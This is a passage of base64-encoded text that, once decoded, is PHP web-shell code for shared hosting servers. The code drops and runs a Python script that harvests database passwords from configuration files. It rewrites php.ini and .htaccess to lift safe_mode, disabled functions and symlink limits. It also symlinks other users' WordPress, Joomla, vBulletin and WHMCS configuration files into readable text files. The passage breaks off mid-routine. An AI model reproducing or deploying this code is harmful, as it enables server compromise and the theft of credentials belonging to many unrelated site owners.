hMMkkrUEdKeVBqeGljajRuT3lCOURRcDlEUW8vUGc9PSI7DQokZmlsZSA9IGZvcGVuKCIucGhwIiwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGJhY2spKTsNCmZjbG9zZSgkZmlsZSk7DQpjaG1vZCgiLnBocCIsMDc1NSk7DQpta2RpcignY29uZmlnJywwNzU1KTsNCiRjcCA9DQonSXlFdmRYTnlMMkpwYmk5bGJuWWdjSGwwYUc5dURRb05DaWNuSncwS1FuazZJRUZvYldWa0lGTm9ZWGRyZVNCaGEyRWdiRzU0WnpNemF3MEtkR2g0T2lCUFlucDVMQ0JTWld4cGF5d2diVzlvWVdJZ1lXNWtJQ05oY21GaWNIZHVJQTBLSnljbkRRb05DbWx0Y0c5eWRDQnplWE1OQ21sdGNHOXlkQ0J2Y3cwS2FXMXdiM0owSUhKbERRcHBiWEJ2Y25RZ2MzVmljSEp2WTJWemN3MEthVzF3YjNKMElIVnliR3hwWWcwS2FXMXdiM0owSUdkc2IySU5DbVp5YjIwZ2NHeGhkR1p2Y20wZ2FXMXdiM0owSUhONWMzUmxiUTBLRFFwcFppQnNaVzRvYzNsekxtRnlaM1lwSUNFOUlETTZEUW9nSUhCeWFXNTBKeWNuQ1EwS0lGVnpZV2RsT2lBbGN5QmJWVkpNTGk0dVhTQmJaR2x5WldOMGIzSjVMaTR1WFEwS0lFVjRLU0FsY3lCb2RIUndPaTh2ZDNkM0xuUmxjM1F1WTI5dEwzUmxjM1F2SUZ0a2FYSWdMaTR1WFNjbkp5QWxJQ2h6ZVhNdVlYSm5kbHN3WFN3Z2MzbHpMbUZ5WjNaYk1GMHBEUW9nSUhONWN5NWxlR2wwS0RFcERRb05Dbk5wZEdVZ1BTQnplWE11WVhKbmRsc3hYUTBLWm05MWRDQTlJSE41Y3k1aGNtZDJXekpkRFFvTkNuUnllVG9OQ2lBZ2NtVnhJQ0E5SUhWeWJHeHBZaTUxY214dmNHVnVLSE5wZEdVcERRb2dJSEpsWVdRZ1BTQnlaWEV1Y21WaFpDZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0p5OTBiWEF2WkdGMFlTNTBlSFFuTENBbmR5Y3BEUW9nSUNBZ1ppNTNjbWwwWlNoeVpXRmtLUTBLSUNBZ0lHWXVZMnh2YzJVb0tRMEtJQ0JwWmlCemVYTjBaVzBvS1NBOVBTQW5WMmx1Wkc5M2N5YzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0oyUmhkR0V1ZEhoMEp5d2dKM2NuS1NBZ0RRb2dJQ0FnWmk1M2NtbDBaU2h5WldGa0tRMEtJQ0FnSUdZdVkyeHZjMlVvS1EwS0RRb2dJR2tnUFNBd0RRb2dJR2xtSUhONWMzUmxiU2dwSUQwOUlDZE1hVzUxZUNjNkRRb2dJQ0FnWmlBOUlHOXdaVzRvSnk5MGJYQXZaR0YwWVM1MGVIUW5MQ0FuY2xVbktRMEtJQ0FnSUdadmNpQnNhVzVsSUdsdUlHWTZEUW9nSUNBZ0lDQnBaaUJzYVc1bExuTjBZWEowYzNkcGRHZ29KenhzYVQ0OFlTY3BJRDA5SUZSeWRXVWdPZzBLSUNBZ0lDQWdJQ0J0SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhoSUdoeVpXWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JTNW5jbTkxY0NneUtRMEtJQ0FnSUNBZ0lDQjBjbms2SUNCMWNteHNhV0l1ZFhKc2NtVjBjbWxsZG1Vb2MybDBaU0FySUcwdVozSnZkWEFvTWlrc0lHeHZZMkZzWDI1aGJXVXBEUW9nSUNBZ0lDQWdJR1Y0WTJWd2RDQkpUMFZ5Y205eU9nMEtJQ0FnSUNBZ0lDQWdJSEJ5YVc1MElDZGNibHNsYzEwZ1pHOWxjMjVjSjNRZ1pYaHBjM1FzSUdOeVpXRjBaU0JwZENCbWFYSnpkQ2NnSlNCbWIzVjBEUW9nSUNBZ0lDQWdJQ0FnYzNsekxtVjRhWFFvS1EwS0lDQWdJQ0FnYVdZZ2JHbHVaUzV6ZEdGeWRITjNhWFJvS0NjOGFXMW5KeWtnUFQwZ1ZISjFaVG9OQ2lBZ0lDQWdJQ0FnYlRFZ1BTQnlaUzV6WldGeVkyZ29jaWNvUEdFZ2FISmxaajBpS1NndUsxdGVQbDBwS0NJK0tTY3NJR3hwYm1VcERRb2dJQ0FnSUNBZ0lHa2dLejBnTVEwS0lDQWdJQ0FnSUNCc2IyTmhiRjl1WVcxbElEMGdKeVZ6TDJacGJHVWxaQzUwZUhRbklDVWdLR1p2ZFhRc0lHa3BEUW9nSUNBZ0lDQWdJSEJ5YVc1MElDZFNaWFJ5YVdWMmFXNW5MaTR1WEhSY2RDY3NJSE5wZEdVZ0t5QnRNUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHhMbWR5YjNWd0tESXBMQ0JzYjJOaGJGOXVZVzFsS1EwS0lDQWdJQ0FnSUNCbGVHTmxjSFFnU1U5RmNuSnZjam9OQ2lBZ0lDQWdJQ0FnSUNCd2NtbHVkQ0FuWEc1YkpYTmRJR1J2WlhOdVhDZDBJR1Y0YVhOMExDQmpjbVZoZEdVZ2FYUWdabWx5YzNRbklDVWdabTkxZEEwS0lDQWdJQ0FnSUNBZ0lITjVjeTVsZUdsMEtDa05DaUFnSUNBZ0lHbG1JR3hwYm1VdWMzUmhjblJ6ZDJsMGFDZ25QRWxOUnljcElEMDlJRlJ5ZFdVNkRRb2dJQ0FnSUNBZ0lHMHlJRDBnY21VdWMyVmhjbU5vS0hJbktEeEJJRWhTUlVZOUlpa29MaXRiWGo1ZEtTZ2lQaWtuTENCc2FXNWxLUTBLSUNBZ0lDQWdJQ0JwSUNzOUlERU5DaUFnSUNBZ0lDQWdiRzlqWVd4ZmJtRnRaU0E5SUNjbGN5OW1hV3hsSldRdWRIaDBKeUFsSUNobWIzVjBMQ0JwS1EwS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WMGNtbGxkbWx1Wnk0dUxseDBYSFFuTENCemFYUmxJQ3NnYlRJdVozSnZkWEFvTWlrTkNpQWdJQ0FnSUNBZ2RISjVPaUFnZFhKc2JHbGlMblZ5YkhKbGRISnBaWFpsS0hOcGRHVWdLeUJ0TWk1bmNtOTFjQ2d5S1N3Z2JHOWpZV3hmYm1GdFpTa05DaUFnSUNBZ0lDQWdaWGhqWlhCMElFbFBSWEp5YjNJNkRRb2dJQ0FnSUNBZ0lDQWdjSEpwYm5RZ0oxeHVXeVZ6WFNCa2IyVnpibHduZENCbGVHbHpkQ3dnWTNKbFlYUmxJR2wwSUdacGNuTjBKeUFsSUdadmRYUU5DaUFnSUNBZ0lDQWdJQ0J6ZVhNdVpYaHBkQ2dwRFFvZ0lDQWdaaTVqYkc5elpTZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RYYVc1a2IzZHpKem9OQ2lBZ0lDQm1JRDBnYjNCbGJpZ25aR0YwWVM1MGVIUW5MQ0FuY2xVbktRMEtJQ0FnSUdadmNpQnNhVzVsSUdsdUlHWTZEUW9nSUNBZ0lDQnBaaUJzYVc1bExuTjBZWEowYzNkcGRHZ29KenhzYVQ0OFlTY3BJRDA5SUZSeWRXVWdPZzBLSUNBZ0lDQWdJQ0J0SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhoSUdoeVpXWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JTNW5jbTkxY0NneUtRMEtJQ0FnSUNBZ0lDQjBjbms2SUNCMWNteHNhV0l1ZFhKc2NtVjBjbWxsZG1Vb2MybDBaU0FySUcwdVozSnZkWEFvTWlrc0lHeHZZMkZzWDI1aGJXVXBEUW9nSUNBZ0lDQWdJR1Y0WTJWd2RDQkpUMFZ5Y205eU9nMEtJQ0FnSUNBZ0lDQWdJSEJ5YVc1MElDZGNibHNsYzEwZ1pHOWxjMjVjSjNRZ1pYaHBjM1FzSUdOeVpXRjBaU0JwZENCbWFYSnpkQ2NnSlNCbWIzVjBEUW9nSUNBZ0lDQWdJQ0FnYzNsekxtVjRhWFFvS1EwS0lDQWdJQ0FnYVdZZ2JHbHVaUzV6ZEdGeWRITjNhWFJvS0NjOGFXMW5KeWtnUFQwZ1ZISjFaVG9OQ2lBZ0lDQWdJQ0FnYlRFZ1BTQnlaUzV6WldGeVkyZ29jaWNvUEdFZ2FISmxaajBpS1NndUsxdGVQbDBwS0NJK0tTY3NJR3hwYm1VcERRb2dJQ0FnSUNBZ0lHa2dLejBnTVEwS0lDQWdJQ0FnSUNCc2IyTmhiRjl1WVcxbElEMGdKeVZ6TDJacGJHVWxaQzUwZUhRbklDVWdLR1p2ZFhRc0lHa3BEUW9nSUNBZ0lDQWdJSEJ5YVc1MElDZFNaWFJ5YVdWMmFXNW5MaTR1WEhSY2RDY3NJSE5wZEdVZ0t5QnRNUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHhMbWR5YjNWd0tESXBMQ0JzYjJOaGJGOXVZVzFsS1EwS0lDQWdJQ0FnSUNCbGVHTmxjSFFnU1U5RmNuSnZjam9OQ2lBZ0lDQWdJQ0FnSUNCd2NtbHVkQ0FuWEc1YkpYTmRJR1J2WlhOdVhDZDBJR1Y0YVhOMExDQmpjbVZoZEdVZ2FYUWdabWx5YzNRbklDVWdabTkxZEEwS0lDQWdJQ0FnSUNBZ0lITjVjeTVsZUdsMEtDa05DaUFnSUNBZ0lHbG1JR3hwYm1VdWMzUmhjblJ6ZDJsMGFDZ25QRWxOUnljcElEMDlJRlJ5ZFdVNkRRb2dJQ0FnSUNBZ0lHMHlJRDBnY21VdWMyVmhjbU5vS0hJbktEeEJJRWhTUlVZOUlpa29MaXRiWGo1ZEtTZ2lQaWtuTENCc2FXNWxLUTBLSUNBZ0lDQWdJQ0JwSUNzOUlERU5DaUFnSUNBZ0lDQWdiRzlqWVd4ZmJtRnRaU0E5SUNjbGN5OW1hV3hsSldRdWRIaDBKeUFsSUNobWIzVjBMQ0JwS1EwS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WMGNtbGxkbWx1Wnk0dUxseDBYSFFuTENCemFYUmxJQ3NnYlRJdVozSnZkWEFvTWlrTkNpQWdJQ0FnSUNBZ2RISjVPaUFnZFhKc2JHbGlMblZ5YkhKbGRISnBaWFpsS0hOcGRHVWdLeUJ0TWk1bmNtOTFjQ2d5S1N3Z2JHOWpZV3hmYm1GdFpTa05DaUFnSUNBZ0lDQWdaWGhqWlhCMElFbFBSWEp5YjNJNkRRb2dJQ0FnSUNBZ0lDQWdjSEpwYm5RZ0oxeHVXeVZ6WFNCa2IyVnpibHduZENCbGVHbHpkQ3dnWTNKbFlYUmxJR2wwSUdacGNuTjBKeUFsSUdadmRYUU5DaUFnSUNBZ0lDQWdJQ0J6ZVhNdVpYaHBkQ2dwRFFvZ0lDQWdaaTVqYkc5elpTZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1kyeGxZVzUxY0NBOUlITjFZbkJ5YjJObGMzTXVVRzl3Wlc0b0ozSnRJQzF5WmlBdmRHMXdMMlJoZEdFdWRIaDBJRDRnTDJSbGRpOXVkV3hzSnl3Z2MyaGxiR3c5VkhKMVpTa3VkMkZwZENncERRb2dJR2xtSUhONWMzUmxiU2dwSUQwOUlDZFhhVzVrYjNkekp6b05DaUFnSUNCamJHVmhiblZ3SUQwZ2MzVmljSEp2WTJWemN5NVFiM0JsYmlnblpHVnNJRU02WEdSaGRHRXVkSGgwSnl3Z2MyaGxiR3c5VkhKMVpTa3VkMkZwZENncERRb2dJSEJ5YVc1MElDZGNiaWNzSUNjdEp5QXFJREV3TUN3Z0oxeHVKdzBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVEdsdWRYZ25PZzBLSUNBZ0lHWnZjaUJ5YjI5MExDQmthWEp6TENCbWFXeGxjeUJwYmlCdmN5NTNZV3hyS0dadmRYUXBPZzBLSUNBZ0lDQWdabTl5SUdadVlXMWxJR2x1SUdacGJHVnpPZzBLSUNBZ0lDQWdJQ0JtZFd4c2NHRjBhQ0E5SUc5ekxuQmhkR2d1YW05cGJpaHliMjkwTENCbWJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWmlBOUlHOXdaVzRvWm5Wc2JIQmhkR2dzSUNkeUp5a05DaUFnSUNBZ0lDQWdabTl5SUd4cGJtVWdhVzRnWmpvTkNpQWdJQ0FnSUNBZ0lDQnpaV055SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWWw5d1lYTnpkMjl5WkNkZElEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNBZ0lHbG1JSE5sWTNJZ2FYTWdibTkwSUU1dmJtVTZJSEJ5YVc1MElDaHpaV055TG1keWIzVndLRElwS1NBZ0RRb2dJQ0FnSUNBZ0lDQWdjMlZqY2pFZ1BTQnlaUzV6WldGeVkyZ29jaUlvY0dGemMzZHZjbVFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjakVnYVhNZ2JtOTBJRTV2Ym1VNklDQndjbWx1ZENBZ0tITmxZM0l4TG1keWIzVndLRElwS1EwS0lDQWdJQ0FnSUNBZ0lITmxZM0l5SUQwZ2NtVXVjMlZoY21Ob0tISWlLRVJDWDFCQlUxTlhUMUpFSnlrb0xpNHVLU2d1SzF0ZVBsMHBLQ2NwSWl3Z2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNCcFppQnpaV055TWlCcGN5QnViM1FnVG05dVpUb2djSEpwYm5RZ0tITmxZM0l5TG1keWIzVndLRE1wS1EwS0lDQWdJQ0FnSUNBZ0lITmxZM0l6SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWW5CaGMzTWdQUzR1S1NndUsxdGVQbDBwS0M0N0tTSXNJR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdhV1lnYzJWamNqTWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeU15NW5jbTkxY0NneUtTa05DaUFnSUNBZ0lDQWdJQ0J6WldOeU5DQTlJSEpsTG5ObFlYSmphQ0FvY2lJb1JFSlFRVk5UVjA5U1JDQTlJQ2NwS0M0clcxNCtYU2tvTGpzcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5DQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJMUlEMGdjbVV1YzJWaGNtTm9JQ2h5SWloRVFuQmhjM01nUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjalVnYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlOUzVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOaUE5SUhKbExuTmxZWEpqYUNBb2NpSW9aR0p3WVhOemQyUWdQU0FuS1NndUsxdGVQbDBwS0NjN0tTSXNJR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdhV1lnYzJWamNqWWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeU5pNW5jbTkxY0NneUtTa05DaUFnSUNBZ0lDQWdJQ0J6WldOeU55QTlJSEpsTG5ObFlYSmphQ0FvY2lJb2JXOXpRMjl1Wm1sblgzQmhjM04zYjNKa0lEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNBZ0lHbG1JSE5sWTNJM0lHbHpJRzV2ZENCT2IyNWxPaUJ3Y21sdWRDQW9jMlZqY2pjdVozSnZkWEFvTWlrcERRb2dJQ0FnSUNBZ0lHWXVZMnh2YzJVb0tRMEtJQ0JwWmlCemVYTjBaVzBvS1NBOVBTQW5WMmx1Wkc5M2N5YzZEUW9nSUNBZ1ptOXlJR2x1Wm1sc1pTQnBiaUJuYkc5aUxtZHNiMklvSUc5ekxuQmhkR2d1YW05cGJpaG1iM1YwTENBbktpNTBlSFFuS1NBcE9nMEtJQ0FnSUNBZ1ppQTlJRzl3Wlc0b2FXNW1hV3hsTENBbmNpY3BEUW9nSUNBZ0lDQm1iM0lnYkdsdVpTQnBiaUJtT2cwS0lDQWdJQ0FnSUNCelpXTnlJRDBnY21VdWMyVmhjbU5vSUNoeUlpaGtZbDl3WVhOemQyOXlaQ2RkSUQwZ0p5a29MaXRiWGo1ZEtTZ25PeWtpTENCc2FXNWxLUTBLSUNBZ0lDQWdJQ0JwWmlCelpXTnlJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNpNW5jbTkxY0NneUtTa2dJQTBLSUNBZ0lDQWdJQ0J6WldOeU1TQTlJSEpsTG5ObFlYSmphQ2h5SWlod1lYTnpkMjl5WkNBOUlDY3BLQzRyVzE0K1hTa29KenNwSWl3Z2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnYVdZZ2MyVmpjakVnYVhNZ2JtOTBJRTV2Ym1VNklDQndjbWx1ZENBZ0tITmxZM0l4TG1keWIzVndLRElwS1EwS0lDQWdJQ0FnSUNCelpXTnlNaUE5SUhKbExuTmxZWEpqYUNoeUlpaEVRbDlRUVZOVFYwOVNSQ2NwS0M0dUxpa29MaXRiWGo1ZEtTZ25LU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSXlJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqSXVaM0p2ZFhBb015a3BEUW9nSUNBZ0lDQWdJSE5sWTNJeklEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1luQmhjM01nUFM0dUtTZ3VLMXRlUGwwcEtDNDdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSXpJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqTXVaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJSE5sWTNJMElEMGdjbVV1YzJWaGNtTm9JQ2h5SWloRVFsQkJVMU5YVDFKRUlEMGdKeWtvTGl0YlhqNWRLU2d1T3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055TkNCcGN5QnViM1FnVG05dVpUb2djSEpwYm5RZ0tITmxZM0kwTG1keWIzVndLRElwS1EwS0lDQWdJQ0FnSUNCelpXTnlOU0E5SUhKbExuTmxZWEpqYUNBb2NpSW9SRUp3WVhOeklEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055TlNCcGN5QnViM1FnVG05dVpUb2djSEpwYm5RZ0tITmxZM0kxTG1keWIzVndLRElwS1EwS0lDQWdJQ0FnSUNCelpXTnlOaUE5SUhKbExuTmxZWEpqYUNBb2NpSW9aR0p3WVhOemQyUWdQU0FuS1NndUsxdGVQbDBwS0NjN0tTSXNJR3hwYm1VcERRb2dJQ0FnSUNBZ0lHbG1JSE5sWTNJMklHbHpJRzV2ZENCT2IyNWxPaUJ3Y21sdWRDQW9jMlZqY2pZdVozSnZkWEFvTWlrcERRb2dJQ0FnSUNBZ0lITmxZM0kzSUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWh0YjNORGIyNW1hV2RmY0dGemMzZHZjbVFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSTNJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqY3VaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQm1MbU5zYjNObEtDa05DbVY0WTJWd2RDQW9TMlY1WW05aGNtUkpiblJsY25KMWNIUXBPZzBLSUNCd2NtbHVkQ0FuWEc1VWFHRnVhM01nWm05eUlIVnphVzVuSUdsMElDNWZYaWM9JzsNCiRmaWxlID0gZm9wZW4oImNwLnB5IiwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNwKSk7DQpmY2xvc2UoJGZpbGUpOw0KY2htb2QoImNwLnB5IiwwNzU1KTsNCiR1cmwgPSAkX1BPU1RbJ3VybCddOw0KZWNobyI8Y2VudGVyPg0KPHRleHRhcmVhIGNvbHM9XCI5MFwiIHJvd3M9XCIyMFwiIG5hbWU9XCJ1c2VybmFtZXNcIj4iOw0Kc3lzdGVtKCJweXRob24gY3AucHkgJHVybCBjb25maWciKTsNCnVubGluayAoJ2NwLnB5Jyk7DQplY2hvIjwvdGV4dGFyZWE+DQo8L2NlbnRlcj4iOw0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4iOw0KZXhpdDsNCn0NCmlmKCRfUE9TVFsnbWF0aWthbiddPT0nc2VrYXRhbicpew0KQGVycm9yX3JlcG9ydGluZygwKTsNCiRwaHBpbmkgPQ0KJ2MyRm1aVjl0YjJSbFBVOUdSZzBLWkdsellXSnNaVjltZFc1amRHbHZibk05VGs5T1JRPT0nOw0KJGZpbGUgPSBmb3BlbigicGhwLmluaSIsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsNCmZjbG9zZSgkZmlsZSk7DQokaHRhY2Nlc3MgPQ0KJ1QzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUT09JzsNCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRodGFjY2VzcykpOw0KZWNobyAiPGhyPjxjZW50ZXI+PGI+RE9ORSEiOw0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4iOw0KZXhpdDsNCn0NCmlmKCRfUE9TVFsnbWVuZGFwYXRrYW4nXT09J3Bhc3N3ZCcpew0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiRmbiA9ICRfUE9TVFsnZm9sZGVybmFtZSddOw0KLy9hbGwgZnVuY3Rpb24gaGVyZQ0KDQpmdW5jdGlvbiBzeW1sKCR1c2VybiwkcGRvbWFpbikNCgl7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsNCgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsNCgkJc3ltbGl